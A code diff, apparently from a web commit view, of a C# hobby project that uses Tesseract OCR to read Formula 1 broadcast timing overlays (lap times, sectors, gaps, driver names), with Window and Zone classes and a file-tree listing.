+                g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
+                return sample;
+            }
+        }
+        /// <summary>
+        /// Creates a new Window
+        /// </summary>
+        /// <param name="image">The image of the parent zone</param>
+        /// <param name="bounds">The position and size of the window</param>
+        /// <param name="generateEngine">Does the window need to generate a tesseract engine (takes time and ressources)</param>
+        public Window(Bitmap image, Rectangle bounds, bool generateEngine = true)
+        {
+            Image = image;
+            Bounds = bounds;
+            if (generateEngine)
+            {
+                Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
+                Engine.DefaultPageSegMode = PageSegMode.SingleLine;
+            }
+
+            //DEBUG
+            /*
+            if (!Directory.Exists(STRING_DEBUG_FOLDER))
+                Directory.CreateDirectory(STRING_DEBUG_FOLDER);
+            if (!Directory.Exists(LAPTIME_DEBUG_FOLDER))
+                Directory.CreateDirectory(LAPTIME_DEBUG_FOLDER);
+            if (!Directory.Exists(GAPTOLEADER_DEBUG_FOLDER))
+                Directory.CreateDirectory(GAPTOLEADER_DEBUG_FOLDER);
+            if (!Directory.Exists(SECTOR1_DEBUG_FOLDER))
+                Directory.CreateDirectory(SECTOR1_DEBUG_FOLDER);
+            if (!Directory.Exists(SECTOR2_DEBUG_FOLDER))
+                Directory.CreateDirectory(SECTOR2_DEBUG_FOLDER);
+            if (!Directory.Exists(SECTOR3_DEBUG_FOLDER))
+                Directory.CreateDirectory(SECTOR3_DEBUG_FOLDER);
+            if (!Directory.Exists(DRS_DEBUG_FOLDER))
+                Directory.CreateDirectory(DRS_DEBUG_FOLDER);
+            if (!Directory.Exists(TYRE_DEBUG_FOLDER))
+                Directory.CreateDirectory(TYRE_DEBUG_FOLDER);
+            */
+        }
+        /// <summary>
+        /// Method that will have to be used by the childrens to let the model make them decode the images they have
+        /// </summary>
+        /// <returns>Returns an object because we dont know what kind of return it will be</returns>
+        public virtual Object DecodePng()
+        {
+            return "NaN";
+        }
+        /// <summary>
+        /// Method that will have to be used by the childrens to let the model make them decode the images they have
+        /// </summary>
+        /// <param name="driverList">This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short</param>
+        /// <returns>Returns an object because we dont know what kind of return it will be</returns>
+        public virtual Object DecodePng(List<string> driverList)
+        {
+            return "NaN";
+        }
+        /// <summary>
+        /// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks
+        /// </summary>
+        /// <param name="inputImage">The image you want to convert</param>
+        /// <returns>A byte array containing the image informations</returns>
+        public static byte[] ImageToByte(Image inputImage)
+        {
+            using (var stream = new MemoryStream())
+            {
+                inputImage.Save(stream, System.Drawing.Imaging.ImageFormat.Png);
+                return stream.ToArray();
+            }
+        }
+        /// <summary>
+        /// This method is used to recover a time from a PNG using Tesseract OCR
+        /// </summary>
+        /// <param name="windowImage">The image where the text is</param>
+        /// <param name="windowType">The type of window it is</param>
+        /// <param name="Engine">The Tesseract Engine</param>
+        /// <returns>The time in milliseconds</returns>
+        public static int GetTimeFromPng(Bitmap image, OcrImage.WindowType windowType, TesseractEngine Engine)
+        {
+            //Kind of a big method but it has a lot of error handling and has to work with three special cases
+            string rawResult = "";
+            int result = 0;
+
+            //Debug
+            int salt = rnd.Next(0, 999999);
+
+            switch (windowType)
+            {
+                case OcrImage.WindowType.Sector:
+                    //The usual sector is in this form : 33.456
+                    Engine.SetVariable("tessedit_char_whitelist", "0123456789.");
+                    break;
+                case OcrImage.WindowType.LapTime:
+                    //The usual Lap time is in this form : 1:45:345
+                    Engine.SetVariable("tessedit_char_whitelist", "0123456789.:");
+                    break;
+                case OcrImage.WindowType.Gap:
+                    //The usual Gap is in this form : + 34.567
+                    Engine.SetVariable("tessedit_char_whitelist", "0123456789.+");
+                    break;
+                default:
+                    Engine.SetVariable("tessedit_char_whitelist", "");
+                    break;
+            }
+
+
+            Bitmap enhancedImage = new OcrImage(image).Enhance(windowType);
+
+            var tessImage = Pix.LoadFromMemory(ImageToByte(enhancedImage));
+
+            Page page = Engine.Process(tessImage);
+            Graphics g = Graphics.FromImage(enhancedImage);
+            // Get the iterator for the page layout
+            using (var iter = page.GetIterator())
+            {
+                // Loop over the elements of the page layout
+                iter.Begin();
+                do
+                {
+                    // Get the text for the current element
+                    try
+                    {
+                        rawResult += iter.GetText(PageIteratorLevel.Word);
+                    }
+                    catch
+                    {
+                        //nothing we just dont add it if its not a number
+                    }
+                } while (iter.Next(PageIteratorLevel.Word));
+            }
+
+            List<string> rawNumbers;
+
+            //In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something
+            if (windowType == OcrImage.WindowType.Gap)
+                rawResult = Regex.Replace(rawResult, "[^0-9.:]", "");
+
+            //Splits into minuts seconds miliseconds
+            rawNumbers = rawResult.Split('.', ':').ToList<string>();
+            //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian)
+            rawNumbers.RemoveAll(x => ((string)x) == "");
+
+            int minuts = 0;
+            int seconds = 0;
+            int miliseconds = 0;
+            switch (windowType)
+            {
+                case OcrImage.WindowType.Sector:
+                    //Usually there is supposed to be only 2 parts. 
+                    if (rawNumbers.Count == 2)
+                    {
+                        //The perect case
+                        try
+                        {
+                            seconds = Convert.ToInt32(rawNumbers[0].ToString());
+                            miliseconds = Convert.ToInt32(rawNumbers[1].ToString());
+                        }
+                        catch
+                        {
+                            Console.WriteLine("Sector time convertion failed");
+                        }
+                    }
+                    else
+                    {
+                        if (rawNumbers.Count == 1)
+                        {
+                            //Here it is a little harder... Usually its because a '.' has been overlooked or interpreted as a number
+
+                            if (rawNumbers[0].Length == 6)
+                            {
+                                //The '.' has been understood as a number
+                                try
+                                {
+                                    seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString());
+                                    miliseconds = Convert.ToInt32(rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString());
+                                }
+                                catch
+                                {
+                                    Console.WriteLine("Sector time convertion failed");
+                                }
+                            }
+                            else
+                            {
+                                if (rawNumbers[0].Length == 5)
+                                {
+                                    //The '.' has been overlooked
+                                    try
+                                    {
+                                        seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString());
+                                        miliseconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString());
+                                    }
+                                    catch
+                                    {
+                                        Console.WriteLine("Sector time convertion failed");
+                                    }
+                                }
+                                else
+                                {
+                                    Console.WriteLine("Sector time convertion failed");
+                                }
+                            }
+                        }
+                        else
+                        {
+                            //The OCR detected more than 1 '.' wich is concerning because that means that something went really wrong
+                            Console.WriteLine("Sector time convertion failed");
+                        }
+                    }
+
+                    result = 0;
+                    result += seconds * 1000;
+                    result += miliseconds;
+                    break;
+                case OcrImage.WindowType.LapTime:
+
+                    if (rawNumbers.Count == 3)
+                    {
+                        //The normal way
+                        try
+                        {
+                            minuts = Convert.ToInt32(rawNumbers[0].ToString());
+                            seconds = Convert.ToInt32(rawNumbers[1].ToString());
+                            miliseconds = Convert.ToInt32(rawNumbers[2].ToString());
+                        }
+                        catch
+                        {
+                            Console.WriteLine("Lap time convertion failed");
+                        }
+                    }
+                    else
+                    {
+                        if (rawNumbers.Count == 2)
+                        {
+                            //Either the ':' or the '.' has been missinterpreted
+                            if (rawNumbers[0].Length > rawNumbers[1].Length)
+                            {
+                                //The ':' has been missinterpreted
+                                if (rawNumbers[0].Length == 3)
+                                {
+                                    //It has been forgotten
+                                    try
+                                    {
+                                        minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
+                                        seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
+                                        miliseconds = Convert.ToInt32(rawNumbers[1]);
+                                    }
+                                    catch
+                                    {
+                                        Console.WriteLine("Lap time convertion failed");
+                                    }
+
+                                }
+                                else
+                                {
+                                    if (rawNumbers[0].Length == 4)
+                                    {
+                                        //I has been translated into an other number
+                                        try
+                                        {
+                                            minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
+                                            seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
+                                            miliseconds = Convert.ToInt32(rawNumbers[1]);
+                                        }
+                                        catch
+                                        {
+                                            Console.WriteLine("Lap time convertion failed");
+                                        }
+                                    }
+                                    else
+                                    {
+                                        //This could happen if the ':' has been missinterpreted with a lap time of over 9 minuts (HIGLY IMPROBABLE)
+                                        Console.WriteLine("Lap time convertion failed");
+                                    }
+                                }
+                            }
+                            else
+                            {
+                                //The '.' has been missinterpreted
+                                if (rawNumbers[1].Length == 5)
+                                {
+                                    //It has been forgotten
+                                    minuts = Convert.ToInt32(rawNumbers[0].ToString());
+                                    seconds = Convert.ToInt32(rawNumbers[1][0].ToString() + rawNumbers[1][1].ToString());
+                                    miliseconds = Convert.ToInt32(rawNumbers[1][2].ToString() + rawNumbers[1][3].ToString() + rawNumbers[1][4].ToString());
+                                }
+                                else
+                                {
+                                    if (rawNumbers[1].Length == 6)
+                                    {
+                                        try
+                                        {
+                                            //It has been interpreted as a number
+                                            minuts = Convert.ToInt32(rawNumbers[0].ToString());
+                                            seconds = Convert.ToInt32(rawNumbers[1][0].ToString() + rawNumbers[1][1].ToString());
+                                            miliseconds = Convert.ToInt32(rawNumbers[1][3].ToString() + rawNumbers[1][4].ToString() + rawNumbers[1][5].ToString());
+                                        }
+                                        catch
+                                        {
+                                            //It can happen and to be honest I dont know how to fix it
+                                        }
+                                    }
+                                    else
+                                    {
+                                        Console.WriteLine("Lap time convertion failed");
+                                    }
+                                }
+                            }
+                        }
+                        else
+                        {
+                            if (rawNumbers.Count == 1)
+                            {
+                                //Both the '.' and the ':' have been missinterpreted
+                                if (rawNumbers[0].Length == 6)
+                                {
+                                    //The just all have been forgotten
+                                    try
+                                    {
+                                        minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
+                                        seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
+                                        miliseconds = Convert.ToInt32(rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString());
+                                    }
+                                    catch
+                                    {
+                                        Console.WriteLine("Lap time convertion failed");
+                                    }
+                                }
+                                else
+                                {
+                                    if (rawNumbers[0].Length == 7)
+                                    {
+                                        //The '.' or ':' have been interpreted as a number (usually the ':')
+                                        try
+                                        {
+                                            minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
+                                            seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
+                                            miliseconds = Convert.ToInt32(rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString() + rawNumbers[0][6].ToString());
+                                        }
+                                        catch
+                                        {
+                                            Console.WriteLine("Lap time convertion failed");
+                                        }
+                                    }
+                                    else
+                                    {
+                                        if (rawNumbers[0].Length == 8)
+                                        {
+                                            //Both have been interpreted as a number
+                                            try
+                                            {
+                                                minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
+                                                seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
+                                                miliseconds = Convert.ToInt32(rawNumbers[0][5].ToString() + rawNumbers[0][6].ToString() + rawNumbers[0][7].ToString());
+                                            }
+                                            catch
+                                            {
+                                                Console.WriteLine("Lap time convertion failed");
+                                            }
+                                        }
+                                        else
+                                        {
+                                            //I dont know what could have happened
+                                            Console.WriteLine("Lap time convertion failed");
+                                        }
+                                    }
+                                }
+                            }
+                            else
+                            {
+                                //I dont know what could have happened
+                                Console.WriteLine("Lap time convertion failed");
+                            }
+                        }
+                    }
+
+                    result = 0;
+                    result += minuts * 60 * 1000;
+                    result += seconds * 1000;
+                    result += miliseconds;
+                    break;
+                case OcrImage.WindowType.Gap:
+                    if (rawNumbers.Count == 2)
+                    {
+                        // This should be the x.xxx or a missed x:xx.xxx
+                        if (rawNumbers[0].Length > 2)
+                        {
+                            //Its a missed x:xx.xxx
+                            if (rawNumbers[0].Length == 3)
+                            {
+                                //It forgot the ":"
+                                try
+                                {
+                                    minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
+                                    seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
+                                    miliseconds = Convert.ToInt32(rawNumbers[1]);
+                                }
+                                catch
+                                {
+                                    Console.WriteLine("Gap to leader convertion failed");
+                                }
+                            }
+                            else
+                            {
+                                //The ":" has been mistaken as a number
+                                if (rawNumbers[0].Length == 4)
+                                {
+                                    try
+                                    {
+                                        minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
+                                        seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
+                                        miliseconds = Convert.ToInt32(rawNumbers[1]);
+                                    }
+                                    catch
+                                    {
+                                        Console.WriteLine("Gap to leader convertion failed");
+                                    }
+                                }
+                                else
+                                {
+                                    Console.WriteLine("Gap to leader convertion failed");
+                                }
+                            }
+
+                        }
+                        else
+                        {
+                            //It should be a normal x.xxx or xx.xxx
+                            try
+                            {
+                                seconds = Convert.ToInt32(rawNumbers[0].ToString());
+                                miliseconds = Convert.ToInt32(rawNumbers[1].ToString());
+                            }
+                            catch
+                            {
+                                Console.WriteLine("Gap to leader convertion failed");
+                            }
+                        }
+                    }
+                    else
+                    {
+                        if (rawNumbers.Count == 1)
+                        {
+                            //can be anything depending on the size of the string
+                            if (rawNumbers[0].Length == 4)
+                            {
+                                //We just missed the '.'
+                                try
+                                {
+                                    seconds = Convert.ToInt32(rawNumbers[0][0].ToString());
+                                    miliseconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
+                                }
+                                catch
+                                {
+                                    Console.WriteLine("Gap to leader convertion failed");
+                                }
+                            }
+                            else
+                            {
+                                if (rawNumbers[0].Length == 5)
+                                {
+                                    //We just missed the '.'
+                                    try
+                                    {
+                                        seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString());
+                                        miliseconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString());
+                                    }
+                                    catch
+                                    {
+                                        Console.WriteLine("Gap to leader convertion failed");
+                                    }
+                                }
+                                //There is just too much possibilities that it would be stupid to try and tell them appart so for now im leaving that as just an error
+                                Console.WriteLine("Gap to leader convertion failed");
+                            }
+                        }
+                        else
+                        {
+                            if (rawNumbers.Count == 3)
+                            {
+                                // This should be the x:xx.xxx
+                                try
+                                {
+                                    //Gaps cant be more than 9 minuts so if there is more than 1 digit it means that the '+' has been understood as an other number
+                                    if (rawNumbers[0].Length > 1)
+                                        rawNumbers[0] = rawNumbers[0][rawNumbers[0].Length - 1].ToString();
+
+                                    minuts = Convert.ToInt32(rawNumbers[0].ToString());
+                                    seconds = Convert.ToInt32(rawNumbers[1].ToString());
+                                    miliseconds = Convert.ToInt32(rawNumbers[2].ToString());
+                                }
+                                catch
+                                {
+                                    Console.WriteLine("Gap to leader convertion failed");
+                                }
+                            }
+                        }
+                    }
+                    result = 0;
+                    result += minuts * 60 * 1000;
+                    result += seconds * 1000;
+                    result += miliseconds;
+                    break;
+                default:
+                    try
+                    {
+                        result = Convert.ToInt32(rawNumbers[0].ToString());
+                    }
+                    catch
+                    {
+                        result = 0;
+                    }
+                    break;
+            }
+
+            page.Dispose();
+            return result;
+        }
+        /// <summary>
+        /// Method that recovers strings from an image using Tesseract OCR
+        /// </summary>
+        /// <param name="WindowImage">The image of the window that contains text</param>
+        /// <param name="Engine">The Tesseract engine</param>
+        /// <param name="allowedChars">The list of allowed chars</param>
+        /// <param name="windowType">The type of window the text is on. Depending on the context the OCR will behave differently</param>
+        /// <returns>the string it found</returns>
+        public static string GetStringFromPng(Bitmap image, TesseractEngine Engine, string allowedChars = "", OcrImage.WindowType windowType = OcrImage.WindowType.Text)
+        {
+            string result = "";
+
+            //Debug
+            int salt = rnd.Next(0, 999999);
+
+            Engine.SetVariable("tessedit_char_whitelist", allowedChars);
+
+            Bitmap rawData = image;
+            Bitmap enhancedImage = new OcrImage(rawData).Enhance(windowType);
+
+            Page page = Engine.Process(enhancedImage);
+            using (var iter = page.GetIterator())
+            {
+                iter.Begin();
+                do
+                {
+                    result += iter.GetText(PageIteratorLevel.Word);
+                } while (iter.Next(PageIteratorLevel.Word));
+            }
+            page.Dispose();
+            return result;
+        }
+        /// <summary>
+        /// Get a smaller image from a bigger one
+        /// </summary>
+        /// <param name="inputBitmap">The big bitmap you want to get a part of</param>
+        /// <param name="newBitmapDimensions">The dimensions of the new bitmap</param>
+        /// <returns>The little bitmap</returns>
+        protected Bitmap GetSmallBitmapFromBigOne(Bitmap inputBitmap, Rectangle newBitmapDimensions)
+        {
+            Bitmap sample = new Bitmap(newBitmapDimensions.Width, newBitmapDimensions.Height);
+            Graphics g = Graphics.FromImage(sample);
+            g.DrawImage(inputBitmap, new Rectangle(0, 0, sample.Width, sample.Height), newBitmapDimensions, GraphicsUnit.Pixel);
+            return sample;
+        }
+        /// <summary>
+        /// Returns the closest string from a list of options
+        /// </summary>
+        /// <param name="options">an array of all the possibilities</param>
+        /// <param name="testString">the string you want to compare</param>
+        /// <returns>The closest option</returns>
+        protected static string FindClosestMatch(List<string> options, string testString)
+        {
+            var closestMatch = "";
+            var closestDistance = int.MaxValue;
+
+            foreach (var item in options)
+            {
+                var distance = LevenshteinDistance(item, testString);
+                if (distance < closestDistance)
+                {
+                    closestMatch = item;
+                    closestDistance = distance;
+                }
+            }
+            return closestMatch;
+        }
+        //This method has been generated with the help of ChatGPT
+        /// <summary>
+        /// Method that computes a score of distance between two strings
+        /// </summary>
+        /// <param name="string1">The first string (order irrelevant)</param>
+        /// <param name="string2">The second string (order irrelevant)</param>
+        /// <returns>The levenshtein distance</returns>
+        protected static int LevenshteinDistance(string string1, string string2)
+        {
+            if (string.IsNullOrEmpty(string1))
+            {
+                return string.IsNullOrEmpty(string2) ? 0 : string2.Length;
+            }
+
+            if (string.IsNullOrEmpty(string2))
+            {
+                return string.IsNullOrEmpty(string1) ? 0 : string1.Length;
+            }
+
+            var d = new int[string1.Length + 1, string2.Length + 1];
+            for (var i = 0; i <= string1.Length; i++)
+            {
+                d[i, 0] = i;
+            }
+
+            for (var j = 0; j <= string2.Length; j++)
+            {
+                d[0, j] = j;
+            }
+
+            for (var i = 1; i <= string1.Length; i++)
+            {
+                for (var j = 1; j <= string2.Length; j++)
+                {
+                    var cost = (string1[i - 1] == string2[j - 1]) ? 0 : 1;
+                    d[i, j] = Math.Min(Math.Min(d[i - 1, j] + 1, d[i, j - 1] + 1), d[i - 1, j - 1] + cost);
+                }
+            }
+
+            return d[string1.Length, string2.Length];
+        }
+    }
+}
+
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -175,13 +155,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,252 +254,199 @@

    Zone.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : Zone.cs
-/// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited.
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Drawing;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-
-namespace Test_Merge
-{
-    public class Zone
-    {
-        private Rectangle _bounds;
-        private List<Zone> _zones;
-        private List<Window> _windows;
-        private Bitmap _image;
-        private string _name;
-
-        public Bitmap ZoneImage
-        {
-            get
-            {
-                //This little trickery lets you have the image that the zone sees
-                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
-                Graphics g = Graphics.FromImage(sample);
-                g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
-                return sample;
-            }
-        }
-        public Bitmap Image
-        {
-            get { return _image; }
-            set
-            {
-                //It automatically sets the image for the contained windows and zones
-                _image = Image;
-                foreach (Window w in Windows)
-                {
-                    w.Image = ZoneImage;
-                }
-                foreach (Zone z in Zones)
-                {
-                    z.Image = Image;
-                }
-            }
-        }
-
-        public Rectangle Bounds { get => _bounds; protected set => _bounds = value; }
-        public List<Zone> Zones { get => _zones; protected set => _zones = value; }
-        public List<Window> Windows { get => _windows; protected set => _windows = value; }
-        public string Name { get => _name; protected set => _name = value; }
-
-        public Zone(Bitmap image, Rectangle bounds, string name)
-        {
-            Windows = new List<Window>();
-            Zones = new List<Zone>();
-            Name = name;
-
-            //You cant set the image in the CTOR because the processing is impossible at first initiation
-            _image = image;
-            Bounds = bounds;
-        }
-        /// <summary>
-        /// Adds a zone to the list of zones
-        /// </summary>
-        /// <param name="zone">The zone you want to add</param>
-        public virtual void AddZone(Zone zone)
-        {
-            Zones.Add(zone);
-        }
-        /// <summary>
-        /// Add a window to the list of windows
-        /// </summary>
-        /// <param name="window">the window you want to add</param>
-        public virtual void AddWindow(Window window)
-        {
-            Windows.Add(window);
-        }
-        /// <summary>
-        /// Calls all the windows to do OCR and to give back the results so we can send them to the model
-        /// </summary>
-        /// <param name="driverList">A list of all the driver in the race to help with text recognition</param>
-        /// <returns>A driver data object that contains all the infos about a driver</returns>
-        public virtual async Task<DriverData> Decode(List<string> driverList)
-        {
-            int sectorCount = 0;
-            DriverData result = new DriverData();
-            Parallel.ForEach(Windows, async w =>
-            {
-                // A switch would be prettier but I dont think its supported in this C# version
-                if (w is DriverNameWindow)
-                    result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList);
-                if (w is DriverDrsWindow)
-                    result.DRS = (bool)await (w as DriverDrsWindow).DecodePng();
-                if (w is DriverGapToLeaderWindow)
-                    result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng();
-                if (w is DriverLapTimeWindow)
-                    result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng();
-                if (w is DriverPositionWindow)
-                    result.Position = (int)await (w as DriverPositionWindow).DecodePng();
-                if (w is DriverSectorWindow)
-                {
-                    sectorCount++;
-                    if (sectorCount == 1)
-                        result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng();
-                    if (sectorCount == 2)
-                        result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng();
-                    if (sectorCount == 3)
-                        result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng();
-                }
-                if (w is DriverTyresWindow)
-                    result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng();
-            });
-            return result;
-        }
-        public virtual Bitmap Draw()
-        {
-            Bitmap img;
-
-            //If its the main zone we want to see everything
-            if (Zones.Count > 0)
-            {
-                img = Image;
-            }
-            else
-            {
-                img = ZoneImage;
-            }
-
-            Graphics g = Graphics.FromImage(img);
-
-            //If its the main zone we need to visualize the Zone bounds displayed
-            if (Zones.Count > 0)
-                g.DrawRectangle(new Pen(Brushes.Violet, 5), Bounds);
-
-            foreach (Zone z in Zones)
-            {
-                Rectangle newBounds = new Rectangle(z.Bounds.X, z.Bounds.Y + Bounds.Y, z.Bounds.Width, z.Bounds.Height);
-                g.DrawRectangle(Pens.Red, newBounds);
-            }
-            foreach (Window w in Windows)
-            {
-                g.DrawRectangle(Pens.Blue, w.Bounds);
-            }
-            return img;
-        }
-        public void ResetZones()
-        {
-            Zones.Clear();
-        }
-        public void ResetWindows()
-        {
-            foreach (Zone z in Zones)
-            {
-                z.ResetWindows();
-            }
-            Windows.Clear();
-        }
-        public virtual string ToJSON()
-        {
-            string result = "";
-            result += "\"" + Name + "\":{" + Environment.NewLine;
-            result += "\t" + "\"x\":" + Bounds.X + "," + Environment.NewLine;
-            result += "\t" + "\"y\":" + Bounds.Y + "," + Environment.NewLine;
-            result += "\t" + "\"width\":" + Bounds.Width + "," + Environment.NewLine;
-            result += "\t" + "\"height\":" + Bounds.Height;
-
-            if (Windows.Count != 0)
-            {
-                result += "," + Environment.NewLine;
-
-                result += "\t" + "\"Windows\":[" + Environment.NewLine;
-                result += "\t\t{" + Environment.NewLine;
-                int Wcount = 0;
-                foreach (Window w in Windows)
-                {
-                    result += "\t\t" + w.ToJSON();
-                    Wcount++;
-                    if (Wcount != Windows.Count)
-                        result += ",";
-                }
-                result += "\t\t}" + Environment.NewLine;
-                result += "\t" + "]" + Environment.NewLine;
-            }
-            else
-            {
-                result += Environment.NewLine;
-            }
-            if (Zones.Count != 0)
-            {
-                result += "," + Environment.NewLine;
-
-                result += "\t" + "\"Zones\":[" + Environment.NewLine;
-                result += "\t\t{" + Environment.NewLine;
-                int Zcount = 0;
-                //foreach (Zone z in Zones)
-                //{ 
-                result += "\t\t" + Zones[0].ToJSON();
-                Zcount++;
-                if (Zcount != Zones.Count)
-                    //result += ",";
-                    //}
-                    result += "\t\t}" + Environment.NewLine;
-                result += "\t" + "]" + Environment.NewLine;
-            }
-            else
-            {
-                result += Environment.NewLine;
-            }
-
-            result += "}";
-
-            return result;
-        }
-        /// <summary>
-        /// Checks if the given Rectangle fits in the current zone
-        /// </summary>
-        /// <param name="InputRectangle">The Rectangle you want to check the fittment</param>
-        /// <returns></returns>
-        protected bool Fits(Rectangle inputRectangle)
-        {
-            if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0)
-            {
-                return false;
-            }
-            else
-            {
-                return true;
-            }
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : Zone.cs
+/// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited.
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace TrackTrends
+{
+    public class Zone
+    {
+        private Rectangle _bounds;
+        private List<Zone> _zones;
+        private List<Window> _windows;
+        private Bitmap _image;
+        private string _name;
+
+        public Bitmap ZoneImage
+        {
+            get
+            {
+                //This little trickery lets you have the image that the zone sees
+                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
+                Graphics g = Graphics.FromImage(sample);
+                g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
+                return sample;
+            }
+        }
+        public Bitmap Image
+        {
+            get { return _image; }
+            set
+            {
+                //It automatically sets the image for the contained windows and zones
+                _image = value;
+                foreach (Window w in Windows)
+                {
+                    w.Image = ZoneImage;
+                }
+                foreach (Zone z in Zones)
+                {
+                    z.Image = Image;
+                }
+            }
+        }
+        public Rectangle Bounds { get => _bounds; protected set => _bounds = value; }
+        public List<Zone> Zones { get => _zones; protected set => _zones = value; }
+        public List<Window> Windows { get => _windows; protected set => _windows = value; }
+        public string Name { get => _name; protected set => _name = value; }
+        /// <summary>
+        /// Creates a new Zone
+        /// </summary>
+        /// <param name="image">Image of the parent zone</param>
+        /// <param name="bounds">The position and size of the zone</param>
+        /// <param name="name">THe name of the zone (usefull for the JSON formatting)</param>
+        public Zone(Bitmap image, Rectangle bounds, string name)
+        {
+            Windows = new List<Window>();
+            Zones = new List<Zone>();
+            Name = name;
+
+            //You cant set the image in the CTOR because the processing is impossible at first initiation
+            _image = image;
+            Bounds = bounds;
+        }
+        /// <summary>
+        /// Adds a zone to the list of zones
+        /// </summary>
+        /// <param name="zone">The zone you want to add</param>
+        public virtual void AddZone(Zone zone)
+        {
+            Zones.Add(zone);
+        }
+        /// <summary>
+        /// Add a window to the list of windows
+        /// </summary>
+        /// <param name="window">the window you want to add</param>
+        public virtual void AddWindow(Window window)
+        {
+            Windows.Add(window);
+        }
+        /// <summary>
+        /// Calls all the windows to do OCR and to give back the results so we can send them to the model
+        /// </summary>
+        /// <param name="driverList">A list of all the driver in the race to help with text recognition</param>
+        /// <returns>A driver data object that contains all the infos about a driver</returns>
+        public virtual DriverData Decode(List<string> driverList)
+        {
+            int sectorCount = 0;
+            DriverData result = new DriverData();
+            foreach(Window w in Windows)
+            {
+                // A switch would be prettier but I dont think its supported in this C# version
+                if (w is DriverNameWindow)
+                    result.Name = (string)(w as DriverNameWindow).DecodePng(driverList);
+                if (w is DriverDrsWindow)
+                    result.DRS = (bool)(w as DriverDrsWindow).DecodePng();
+                if (w is DriverGapToLeaderWindow)
+                    result.GapToLeader = (int)(w as DriverGapToLeaderWindow).DecodePng();
+                if (w is DriverLapTimeWindow)
+                    result.LapTime = (int)(w as DriverLapTimeWindow).DecodePng();
+                if (w is DriverPositionWindow)
+                    result.Position = (int)(w as DriverPositionWindow).DecodePng();
+                if (w is DriverSectorWindow)
+                {
+                    sectorCount++;
+                    if (sectorCount == 1)
+                        result.Sector1 = (int)(w as DriverSectorWindow).DecodePng();
+                    if (sectorCount == 2)
+                        result.Sector2 = (int)(w as DriverSectorWindow).DecodePng();
+                    if (sectorCount == 3)
+                        result.Sector3 = (int)(w as DriverSectorWindow).DecodePng();
+                }
+                if (w is DriverTyresWindow)
